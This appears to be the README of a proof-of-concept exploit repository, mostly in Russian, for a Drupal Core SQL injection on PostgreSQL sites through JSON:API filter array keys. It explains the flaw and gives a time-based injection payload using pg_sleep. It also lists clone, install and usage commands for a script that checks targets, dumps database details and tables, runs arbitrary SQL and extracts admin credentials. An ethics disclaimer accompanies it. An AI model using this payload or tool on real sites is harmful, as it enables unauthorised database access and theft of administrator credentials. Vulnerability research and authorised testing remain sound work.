
Drupal Core PostgreSQL SQL Injection PoC - CVE-2026-9082. Этический PoC для уязвимости Drupal, позволяющей анонимную SQL-инъекцию через модуль JSON:API на сайтах с PostgreSQL.
Этот репозиторий содержит этическое подтверждение концепции (PoC) для CVE-2026-9082, критической уязвимости SQL-инъекции в Drupal Core, затрагивающей все сайты на PostgreSQL, работающие на Drupal с версии 8.0 по 11.3.9.
Ошибка находится в обработчике условий запроса сущностей PostgreSQL и может быть использована анонимными (неаутентифицированными) пользователями через модуль JSON:API, который включен по умолчанию, начиная с Drupal 9.
Официальное уведомление: SA-CORE-2026-004
Drupal Core включает API абстракции базы данных, предназначенный для очистки
запросов и предотвращения SQL-инъекций. Ошибка в классе условий запроса
сущностей, специфичном для PostgreSQL
(core/modules/pgsql/src/EntityQuery/Condition.php), позволяет
злоумышленнику внедрять произвольный SQL через
управляемые пользователем ключи массива, передаваемые через
параметры фильтра JSON:API.
translateCondition() в классе условий PostgreSQL
перебирает $condition['value'] и использует
ключи массива для создания имен PDO-плейсхолдеров:$where_id = $where_prefix . $key;
filter[x][condition][value][MALICIOUS_KEY]=val
[a-zA-Z0-9_]. Когда ключ содержит ), PDO
прекращает разбор имени плейсхолдера — все, что после,
становится литеральным SQL, внедренным в запрос.
1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)--,
злоумышленник закрывает предложение IN() и добавляет
произвольный SQL, при этом привязка для :prefix_1
удовлетворяется легитимным ключом 1 в том же запросе.
Данный инструмент предназначен только для авторизованного тестирования безопасности, образовательных целей и этических исследований. Несанкционированный доступ к компьютерным системам является незаконным.
git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
pip install requests rich# Check if target is vulnerable
python3 CVE-2026-9082.py -u https://target.com --check
# Extract PostgreSQL version
python3 CVE-2026-9082.py -u https://target.com --version
# Extract database info (user + db name)
python3 CVE-2026-9082.py -u https://target.com --dbinfo
# Extract Drupal admin credentials (uid=1)
python3 CVE-2026-9082.py -u https://target.com --admin
# List database tables
python3 CVE-2026-9082.py -u https://target.com --tables
# Custom SQL query extraction
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"
# Use boolean-based extraction (faster but less reliable)
python3 CVE-2026-9082.py -u https://target.com --version -m bool
# Interactive mode (no arguments)
python3 CVE-2026-9082.py